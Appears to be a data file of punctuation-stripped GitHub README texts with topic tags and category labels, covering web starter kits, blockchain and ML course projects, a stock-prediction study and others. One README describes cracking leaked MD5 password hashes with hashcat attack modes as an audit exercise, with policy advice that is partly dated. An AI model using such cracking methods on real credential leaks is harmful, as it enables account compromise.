server application will be running on http localhost 3000 while the client application will be running on http localhost 8080 the terminal will tell your the exact ports for more information about running this starter kit for mobile development or docker consult the getting started guide project structure the project structure presents generally accepted guidelines and patterns for building scalable web and mobile applications the structure is fractal meaning the available functionality is grouped primarily by feature rather than by file type but the current structure isn t prescriptive and you can change it however you like apollo universal starter kit config various application configurations docs documentation node modules global node js modules modules all the prebuilt project modules packages available packages client react client client angular angular client client vue vue client common common code mobile react native mobile client server node js and express server server scala scala server tools all build and cli related files inside modules you ll find all the prebuilt modules that apollo universal starter kit comes with each module under modules contains sub directories with module implementations for different technologies for example if you look up the module modules core you ll see the following sub modules apollo universal starter kit modules available packages core the core module client angular core functionality for angular app client react core functionality for react app client react native core functionality for react native app client vue core functionality for vue app common react native mobile client server scala core functionality for scala server server ts core functionality for express server tools all build and cli related files apollo universal starter kit documentation follow to the documentation concerning different aspects of how to run configure and develop with apollo universal starter kit getting started installing and running apollo universal starter kit running the mobile app with expo running the starter kit in a mobile simulator running apollo universal starter kit with docker deploying apollo universal starter kit to production configuring apollo universal starter kit features and modules writing code debugging code available scripts frequently asked questions project structure importing modules tools apollo universal starter kit cli modules stripe payments mobile chat support community support gitter channel ndash ask questions find answers and participate in general discussions github issues ndash submit issues and send feature requests wiki ndash read documentation for the usage scenarios of the starter kit edit the documentation faq ndash consult the frequently asked questions section commercial support the sysgears team provides comprehensive support for commercial partners our team can guide you when you re using apollo universal starter kit to build your application you can contact us via skype or email info sysgears com mailto info sysgears com contributors thanks a lot to all the wonderful people who contributed to apollo universal starter kit a href https github com sysgears apollo universal starter kit graphs contributors img src https opencollective com apollo universal starter kit contributors svg width 890 a backers thanks a lot to all our backers a href https opencollective com apollo universal starter kit backers target blank img src https opencollective com apollo universal starter kit backers svg width 890 a sponsors you can support this project by becoming a sponsor your logo will show up here with a link to your website a href https opencollective com apollo universal starter kit sponsor 0 website target blank img src https opencollective com apollo universal starter kit sponsor 0 avatar svg a a href https opencollective com apollo universal starter kit sponsor 1 website target blank img src https opencollective com apollo universal starter kit sponsor 1 avatar svg a a href https opencollective com apollo universal starter kit sponsor 2 website target blank img src https opencollective com apollo universal starter kit sponsor 2 avatar svg a a href https opencollective com apollo universal starter kit sponsor 3 website target blank img src https opencollective com apollo universal starter kit sponsor 3 avatar svg a a href https opencollective com apollo universal starter kit sponsor 4 website target blank img src https opencollective com apollo universal starter kit sponsor 4 avatar svg a a href https opencollective com apollo universal starter kit sponsor 5 website target blank img src https opencollective com apollo universal starter kit sponsor 5 avatar svg a a href https opencollective com apollo universal starter kit sponsor 6 website target blank img src https opencollective com apollo universal starter kit sponsor 6 avatar svg a a href https opencollective com apollo universal starter kit sponsor 7 website target blank img src https opencollective com apollo universal starter kit sponsor 7 avatar svg a a href https opencollective com apollo universal starter kit sponsor 8 website target blank img src https opencollective com apollo universal starter kit sponsor 8 avatar svg a a href https opencollective com apollo universal starter kit sponsor 9 website target blank img src https opencollective com apollo universal starter kit sponsor 9 avatar svg a license copyright copy 2016 2019 sysgears cyprus limited this source code is licensed under the mit license our chat https gitter im sysgears apollo fullstack starter kit mit license universal javascript https medium com mjackson universal javascript 4761051b7ae9 apollo http www apollostack com graphql http graphql org jwt https jwt io react https reactjs org angular https angular io react native https facebook github io react native expo https expo io knex js http knexjs org express http expressjs com typescript https www typescriptlang org twitter bootstrap http getbootstrap com ant design https ant design nativebase https nativebase io apollokit org https apollokit org demo application https ausk sysgears com react native gifted chat https github com faridsafi react native gifted chat deployed on render https ausk sysgears com this demo on expo io https expo io sysgears apollo universal starter kit stable https github com sysgears apollo universal starter kit tree stable master https github com sysgears apollo universal starter kit tree master single https github com sysgears apollo universal starter kit tree single apollo1 https github com sysgears apollo universal starter kit tree apollo1 cli crud https github com sysgears apollo universal starter kit tree cli crud custom cli https github com sysgears apollo universal starter kit tree cli crud sqlite installation guide http www sqlitetutorial net download install sqlite http localhost 3000 http localhost 3000 http localhost 8080 http localhost 8080 getting started docs getting 20started md installing and running apollo universal starter kit docs getting 20started md installing and running apollo universal starter kit running the mobile app with expo docs getting 20started md running the mobile app with expo running the starter kit in a mobile simulator docs getting 20started md running the starter kit in a mobile simulator running apollo universal starter kit with docker docs docker md deploying apollo universal starter kit to production docs deployment md configuring apollo universal starter kit docs configuration md dedicated cli docs tools cli md deleting features with deletemodule respective cli section docs tools cli md selecting the technology stack with choosestack features and modules docs features 20and 20modules md writing code docs writing 20code md debugging code docs debugging md apollo universal starter kit cli docs tools cli md available scripts docs yarn 20scripts md stripe payments docs modules stripe 20subscription md mobile chat docs modules mobile 20chat md project structure docs project 20structure md importing modules docs importing 20modules md frequently asked questions docs faq md sysgears cyprus limited http sysgears com gitter channel https gitter im sysgears apollo fullstack starter kit github issues https github com sysgears apollo universal starter kit issues wiki https github com sysgears apollo universal starter kit wiki faq docs faq md sysgears https sysgears com skype http hatscripts com addskype sysgears | graphql apollo webpack starterkit universal react react-native expo auth docker typescript scala angular ngrx | front_end |
BCND-C6-Exercises | blockchain course 6 exercises to install download or clone the repo then move to the required exercise branch with either git checkout exercisec6a git checkout exercisec6b git checkout exercisec6c git checkout exercisec6d and for each exercise run npm install truffle compile develop to run truffle tests truffle test test exercisec6a js or npm test resources how does ethereum work anyway https medium com preethikasireddy how does ethereum work anyway 22d1df506369 truffle framework http truffleframework com ganache local blockchain http truffleframework com ganache solidity language reference http solidity readthedocs io en v0 4 24 ethereum blockchain explorer https etherscan io web3js reference https github com ethereum wiki wiki javascript api bip39 mnemonic generator https iancoleman io bip39 remix solidity ide https remix ethereum org versions this code was created with the following versions of tools truffle v5 0 1 core 5 0 1 solidity v0 5 0 solc js node v8 9 4 ganache v1 2 3 troubleshooting ensure ganache is running on port 8545 ensure ganache mnemonic is identical to mnemonic in truffle js ensure you have at least the versions of the tools specified above delete node modules folder and run npm install to refresh dependencies if you get compiler errors change the pragma line in all sol files to match your version if you are on microsoft windows and get an error message from the operating system that relates to a missing truffle js file when you type npm test please rename the truffle js file to truffle config js | blockchain |
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Unity-EasingLibraryVisualisation | unity easing library visualisation gif https raw githubusercontent com noisecrime unity easinglibraryvisualisation master graphanimation 888 gif this project provides a front end visualisation to a group of 40 easing equations as easy to understand graphs with real time animated markers to illustrate the motion you can change the view from a single graph to all the graphs as well as displaying a column of drawers right side of image below that as you roll over with the mouse will ease in or out to see the motion in action it contains a comprehensive easing class containing 10 different easing equations with 4 variations of each out in out in in out based on the work of robert penner the easing class can easily be used in your own projects without any of the demo assets the latest version has added support for creating unity animation curves directly from the ease equations updates added support to convert ease equations into animation curves added support to display animation curves on ease graphs added unity curve preset library of ease equations as animation curves update documentation gif http i imgur com 8y2o4lp gif screenshot2 http i imgur com gydnxyo png webgl demo http www noisecrime com unity demos easinglibraryvisualisationwebgldemo index html forum page https forum unity3d com threads easing equations visualisation in unity 483908 system requirements unity 5 4 2 acknowledgements easing equations based on the work of robert penner see http robertpenner com easing curves library from burningmime https github com burningmime curves includes c implementation of philip j schneider s least squares method and ramer douglas pueker line approximation algorithm license mit license md | easing-equations unity visualisation graphs motion graph | front_end |
TAU | tau the tau library contains components which allows you to create web application ui each components represents ui element such as a button or slider which gives you interaction and manipulation features getting started clone a copy of the master branch in the tau git repository git clone git github com samsung tau git change to the tau directory cd tau check out the latest stable version of tau git checkout master prerequisites to build a tau library ensure that you have both git and node js 6 16 0 installed example of node install using nvm https github com creationix nvm nvm install 6 16 0 nvm use 6 16 0 installing install the build module by npm npm install build tau by running the following command in the tau directory npm run build running tests using phantomjs all run npm run test single run npx grunt test single test path to test html running tests using karma all run npm run test karma single modify tests karma single conf path js run npm run test karma single test debugging in order to set additional logging in tau you need to build tau with tau debug option npx grunt build tau debug demo application uicomponents sample web application demonstrating how to implement ui components for wearable based on tau demo application is available on https samsung github io tau https code tizen org tau 1 2 examples mobile uicomponents mobile https code tizen org tau 1 2 examples wearable uicomponents wearable if you want to test your own version of demo app it is available under following paths in repository mobile examples mobile uicomponents wearable examples wearable uicomponents in order to test it install http server in tau directory npm install http server g launch server in tau directory npx http server p port a localhost e g npx http server p 8888 a localhost visit appropriate site http localhost port examples profile uicomponents e g http localhost 8888 examples wearable uicomponents http localhost 8888 examples mobile uicomponents coding style tests project has defined eslint rules eslintrc js contribution can be verified using command npx grunt eslint usage refer to samsung github io tau https samsung github io tau for library usage instructions contributing please read contributing md https github com samsung tau blob master contributing md for details on our code of conduct and the process for submitting pull requests to us versioning tau version comply with semantic versioning specification 2 0 https semver org spec v2 0 0 html major minor patch major assures public api compatibility minor adds new functionalities e g new api with backward compatibility for old api patch backward compatible bug fixes tau vs tizen compatibility tau 1 0 is compatible with tizen 4 0 5 0 web api tau 1 1 is compatible with tizen 5 5 web api and backward compatible with 4 0 5 0 apps using tizen 4 0 5 0 web api can use tau 1 1 instead of tau 1 0 releases you can find releases in the releases tab https github com samsung tau releases tizen version number tau version for given tizen release e g in case of tau for tizen 5 0 5 0 0 5 0 10 5 0 11 authors authors author https github com samsung tau blob master author see also the list of contributors https github com samsung tau contributors who participated in this project license this project is licensed under mit except some files under flora license for details see copying https github com samsung tau blob master copying | front_end |
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index-oa-template | index oa template a vue js project https yq aliyun com articles 71162 spm 5176 8091938 0 0 lls5na https gw alicdn com tps tb1t xwpvxxxxx7xpxxxxxxxxxx 720 1280 jpg build setup bash install dependencies npm install serve with hot reload at localhost 8080 npm run dev build for production with minification npm run build build for production and view the bundle analyzer report npm run build report for detailed explanation on how things work checkout the guide http vuejs templates github io webpack and docs for vue loader http vuejs github io vue loader | vue oa-template | front_end |
NLP_Notebooks | nlp notebooks the resources stored in this repository cover data science topics applied to natural language processing nlp 01 introduction nlp introductory material to general nlp preprocessing and classification tasks https www youtube com watch v o1bb7g4szqq t 2568s setup clone or download the repository as follows git clone https github com juliandariomirandacalle nlp notebooks git cd nlp notebooks how to cite the notebooks miranda calle juli n dar o ipython notebook introduction to nlp with sentiment analysis july 2020 url https github com juliandariomirandacalle nlp notebooks | ai |
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Hands-on-RxJS-for-Web-development | hands on rxjs for web development video this is the code repository for hands on rxjs for web development video https www packtpub com web development hands rxjs web development video utm source github utm medium repository utm campaign 9781788838429 published by packt https www packtpub com utm source github it contains all the supporting project files necessary to work through the video course from start to finish about the video course web application code can get tangled up which makes it hard to test and maintain also asynchronous computations are http to manage however with rxjs you can unify filter and transform these streams with ease by introducing rxjs into your code you can build clean and fault tolerant web applications this course shows you to handle work tasks and issues with rxjs it helps you develop the skills you need to create reactive applications with rxjs with this course you ll enter the reactive world by using angular and react you will learn to execute asynchronous event handling techniques using rxjs by the end of the course you ll be saving precious development time by using rxjs you ll scale your own applications effectively and use frameworks that rely on rxjs h2 what you will learn h2 div class book info will learn text ul li work with the modern reactive extension event based programming approach in js li use real world examples of development practices to solve issues with less code li easily implement retry on error or repeat logic for your http request ordering problems with rxjs li handle http requests with a few lines of code li create scalable app architectures and organize convenient inter component data flows li build easily updatable web components and combine the latest zip operators li implement rxjs solutions in the popular modern angular framework li use rxjs patterns and anti patterns to improve your code maintainability li ul div instructions and navigation assumed knowledge to fully benefit from the coverage included in this course you will need br basic knowledge of javascript and rxjs is needed technical requirements this course has the following software requirements br webstorm phpstorm ide or any other preferable ide node js lts 8 9 1 or higher installed related products hands on web application development with jquery video https www packtpub com web development hands web application development jquery video utm source github utm medium repository utm campaign 9781789343809 hands on web development with typescript 3 video https www packtpub com application development hands web development typescript 3 video utm source github utm medium repository utm campaign 9781789616095 hands on typescript for c and net core developers https www packtpub com application development hands typescript c and net core developers utm source github utm medium repository utm campaign 9781789130287 | front_end |
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theMLbook | the hundred page machine learning book the python code to reproduce the illustrations from the hundred page machine learning book http themlbook com http themlbook com images og image3 png warning to avoid buying counterfeit on amazon click on see all buying options https www amazon com gp offer listing 199957950x and choose amazon com and not a third party seller | python machine-learning machine-learning-algorithms book | ai |
Stock-predection | stock predection stock prediction using machine learning abstract stock market prediction is the act of trying to determine the future value of a company stock or other financial instrument traded on an exchange the successful prediction of a stock s future price could yield significant profit the efficient market hypothesis suggests that stock prices reflect all currently available information and any price changes that are not based on newly revealed information thus are inherently unpredictable others disagree and those with this viewpoint possess myriad methods and technologies which purportedly allow them to gain future price with the advent of the digital computer stock market prediction has since moved into the technological realm the most prominent technique involves the use of artificial neural networks anns can be thought of as mathematical function approximators the most common form of ann in use for stock market prediction is the feed forward network utilizing the backward propagation of errors algorithm to update the network weights these networks are commonly referred to as backpropagation networks also in recent year there is a significant improvement in svm support vector machine algorithm implementation for stock prediction another form of ann that is more appropriate for stock prediction is the time recurrent neural network rnn or time delay neural network tdnn one of the modified version of rnn is lstm which memorize history data for prediction keeping this details in mind in this project i tried to predict stock trend also to the result includes conclusion for what algorithm performs well compare to the other two background previously svm and backpropagation were used for many classification problem and there were many instances where reasonable accuracy was achieved keeping that in mind our given problem statement was addressed to achieve as much accuracy as possible with tweaking algorithm lstm was used for many time series problems and the same approach is used to predict trend for stock by memorizing history data description problem statement was to predict increase or decrease in stock price for next day i addressed this as classification problem there are many classification algorithms in neural network our main goal was to compare performance of svm lstm and backpropagation algorithm once i got reasonable accuracy i try to compare their results approach our approach to for this project consist of major steps 1 dataset creation 2 implementation of algorithm 3 comparison of result and analysis 1 dataset creation for data collection i used yahoo finance yahoo finance is a database with stock prices for various companies most of the companies i chose were in the sector of technology ex apple google yahoo microsoft etc i collected data from january 2010 to december 2016 the stock market took a toll during 2007 2008 financial crisis this time around companies went in loss and stock data of companies completely unpredictable training our model using this data would cause our model to be less accurate because of a lack of trend during the crisis period so i avoided data that can result into uncertain behavior the data set contains stock data of the following companies yahoo microsoft apple google lenovo intel hp amazon oracle for our problem i kept technology and software services as a sector for that sector i tried to predict trend and behavior of stock these are all listed on the same index nasdaq the stock data obtained from yahoo contains the following parameters date open high low close adj close volume i took the daily closing values of each of the stock as the stock value for a day other parameters calculated for input dataset basic assumption in stock market is that stock momentum increase or decrease will depend on how given stock was doing in past also the stock price for given company will also depend on how market is doing and how given sector is doing keeping these three things in mind i calculated 5 attributes as listed below index momentum index volatility sector momentum stock momentum stock price volatility output momentum if price of stock or index in higher than yesterday then momentum for given day is 1 as there is an increase in price else it s 1 volatility represents how big or small change in stock index closing values try to capture fluctuation in market for given day volatility is calculated using difference between yesterday s closing value today s closing value divide by yesterday s closing value index momentum calculated based on market performance for last 5 days it s an average of 5 days index momentum index volatility calculated as average of last 5 days volatility for index sector momentum calculated based on sector performance for last 5 days it s an average of 5 days index value for all technology company shares stock momentum calculated as average for last 5 days momentum for given company momentum stock price volatility calculated as average of last 5 days for given stock for all attributes i kept 5 days as to capture market behavior in future i will try change this for 10 15 days and see if there is any improvement in accuracy once i calculated this attributes for each company i consolidated all dataset and created final input dataset output if closing stock price for a stock today day is more than yesterday s closing stock price for the same stock then the corresponding output is denoted by 1 else it is denoted as 0 hence one record of our input data set had the following 6 dimensions stock price index momentum index volatility sector momentum stock momentum stock price volatility output data set consisted of these 6 dimensions for each of the stocks i e each day has 9 records one record for each company stock the total number of rows for our input data set are around 15800 2 algorithms a svm svm support vector machine is one popular algorithm used for many classification problems it is one of the supervised learning models with associated learning algorithms that analyze data used for classification and regression analysis given a set of training examples each marked as belonging to one or the other of two categories an svm training algorithm builds a model that assigns new examples to one category or the other making it a non probabilistic binary linear classifier an svm model is a representation of the examples as points in space mapped so that the examples of the separate categories are divided by a clear gap that is as wide as possible new examples are then mapped into that same space and predicted to belong to a category based on which side of the gap they fall in addition to performing linear classification svms can efficiently perform a non linear classification using what is called the kernel trick implicitly mapping their inputs into high dimensional feature spaces as for given problem our data was not linear separable so i implemented a rbf kernel which gives better result for nonlinear kernel for our problem i implemented svm using scikit learn sklearn library using python code i import library first i try to for svm on train dataset and then i try to predict values on that machine for test dataset b back propagation back propagation algorithm can be used for both classification and regression problem here stock price prediction is a classification problem i have implemented back propagation algorithm for stock price prediction using numpy and pandas lib back propagation an abbreviation for backward propagation of errors is a common supervised learning method of training artificial neural networks used in conjunction with an optimization method such as gradient descent the gradient descent method calculates the gradient of a loss function with respect to all the weights in the network back propagation calculates the gradient of the error of the network regarding the network s modifiable weights this gradient is used in a simple stochastic gradient descent algorithm to find weights that minimize the error back propagation is a multilayer feed forward network a multilayer feedforward neural network is a network that consists of input layer one or more than one hidden layer and one output layer a neural network that has no hidden layer is called a perceptron in back propagation the input layer is connected to the hidden layer by interconnection weights and hidden layer is connected to the output layer by interconnection weights the increase in number of layers results in the computational complexity of the neural network as a result the time taken for convergence and to minimize the error may be very high c lstm lstm stands for long short term memory it is building block of a neural network like perceptron lstm blocks are used to build a recurrent neural network an rnn is a type of neural network where the output of a block is fed as input to the next iteration an lstm block is composed of four main components a cell an input gate an output gate and a forget gate the cell is responsible for remembering values over arbitrary time intervals hence the word memory in lstm each of the three gates can be thought of as a conventional artificial neuron as in a multi layer or feedforward neural network that is they compute an activation using an activation function of a weighted sum intuitively they can be thought as regulators of the flow of values that goes through the connections of the lstm hence the denotation gate there are connections between these gates and the cell some of the connections are recurrent some of them are not as mentioned earlier stock prediction is a time series problem lstm can be used for time series predictions lstm don t have the vanishing gradient problem which a traditional rnn has 3 comparison of result and analysis to make sure that one algorithms has a consistent performance and it performs better than other i tried to run same algorithm multiple times each algorithm was implemented 30 times and for each time prediction accuracy is calculated on test data for each run different training and testing dataset is used find below accuracy results for each algorithm svm result for 30 runs of svm algorithm i got around 65 20 mean accuracy with 0 15 standard deviation this shows that svm performance is consistent for 30 runs this is due to nurture of svm algorithm algorithm will train keep training until it can classify max testing data this result into almost same network at the and resulting same close accuracy values on test data svm run images svm 20run jpg backpropagation result for 30 runs of backpropagation algorithm i got around 65 38 mean accuracy with standard deviation of 2 40 as you can see backpropagation performs well compared to svm but it has huge fluctuation in accuracy so that might cause issue when i want steady accuracy backpropagation run images backpropagation 20run jpeg lstm result for 30 runs of lstm algorithm i got around 66 83 mean accuracy with standard deviation of 1 36 as you can see lstm performs well compared to svm and backpropagation also there in no huge fluctuation in accuracy so this is an overall performance improvement compared to other algorithms lstm run images lstm run jpg t test result t test result images t test jpg after getting accuracy for each algorithm i wanted to compare each algorithm to check which one performs better than other i implemented t test result for this t test result comparison images t test comparison jpg t 0 95 58 1 701 t test value for 95 accuracy for 30 epoch run was in range of 1 701 if the value for each pair is under that range that means chances of getting improvement is 0 05 with those pair algorithms as you can see backpropagation and svm implementation t result falls under that range i can say that chances of getting better result from backpropagation compare to svm is very less as there is big variations for each run in backpropagation conclusion in this project i have demonstrated a machine learning approach to predict stock market trend using different neural networks result shows how i can use history data to predict stock movement with reasonable accuracy also with t test result analysis i can conclude that lstm performs better compare to backpropagation and svm for this implementation i would like to conclude that if i incorporate all the factors that affect stock performance and feed them to neural network with proper data preprocessing and filtering after training the network i will be able to have a model which can predict stock momentum very accurately and this can result into better stock forecasting and profit for financial firms reference reference paper https www cs princeton edu sites default files uploads saahil madge pdf backpropogtion algorithm reference https machinelearningmastery com implement backpropagation algorithm scratch python lstm algorithm reference https machinelearningmastery com time series prediction lstm recurrent neural networks python keras svm scikit learn http scikit learn org stable modules svm html | ai |
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csport-server | aplikasi csport deskripsi aplikasi csport merupakan aplikasi olahraga yang dapat membantu kamu dalam melakukan kegiatan jasmani dengan aplikasi ini pastinya akan membuat kegiatan olahragamu berjalan secara maksimal dan penuh semangat fitur utama sign in dan sign up target powerlifting menghitung jarak jogging leaderboard instalasi aplikasi menyiapkan file environment kami telah menyiapkan file example environment example env copy file tersebut menjadi env karena program installer hanya dapat membaca file env jalankan perintah berikut unuk melakukan copy file environment cp example env env br collaborator img src https avatars githubusercontent com u 70560582 v 4 width 100px br sub b geizka rozilia ruicosta b br 119140114 sub https github com shercosta br https github com shercosta csport commits author shercosta code img src https avatars githubusercontent com u 87814270 v 4 width 100px br sub b bilhaq avi dewantara b br 120140141 sub https github com bilhaqad07 br https github com shercosta csport commits author bilhaqad07 code img src https avatars githubusercontent com u 94509046 v 4 width 100px br sub b gery melia suwanda b br 120140147 sub https github com geryms19 br https github com shercosta csport commits author geryms19 code img src https avatars githubusercontent com u 94514994 v 4 width 100px br sub b fadhilah fauza hamda b br 120140153 sub https github com fadhilahfauza br https github com shercosta csport commits author fadhilahfauza code br | server |
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GS_Password_Dump | task crack leaked password database i have tried to crack the passwords from the leaked hashes given to me it is to inform you that after analyzing the results i have pointed out a number of irregularities and flaws in the organisation s password policy and listed some solutions and steps to overcome these challenges the passwords i found did not take a considerable amount of time 13 out of the 19 given passwords was immediately cracked using dictionary attack and after an hour or so the other 6 hashes were also cracked using combinator and masking attack using hashcat the passwords which are leaked were using md5 hash algorithm though md5 is widely used but it is considerably much weaker because it is prone to hash collision i e it is possible to create the same hash function for two different inputs i consider the use of md5 as below average i would recommend the usage of sha 256 algorithm which is much more secure than that of md5 algorithm and no collision has been recorded till today for the sha 256 though md5 is faster in comparison but security must be the first priority the organisation s privacy policy is not up to the mark i have listed below some observations the minimum length of passwords is 6 and maximum length is 9 for the given there are no measures to mandatory usage of at least 1 special characters 1 number and letters to make the passwords strong there are no restrictions to using the usernames as a part of their respective passwords which makes the passwords vulnerable for the organisation to prevent their private data from being vulnerable they should follow the below listed points these will make the passwords hard to crack a strong password must be minimum 8 10 characters long a strong password should contain different types of characters including uppercase letters lowercase letters numbers and characters they should discourage or prevent user to include any personal details while forming the password specifically name username company name dob etc the organisation must keep notifying the user to change his her password after a specific amount of time previous nist guidelines recommended forcing users to change passwords every 90 days it should not contain any word spelled completely it s wise to discourage or prohibit the passwords which are easy to guess like password a string of numbers or letters like 123456 characters appearing adjacent to each other in the keyboard like default or suggested passwords from any place even if they seem strong hope this information will help in the growth of the organisation thanking you name aritra mazumdar masters in computer applications mca | server |
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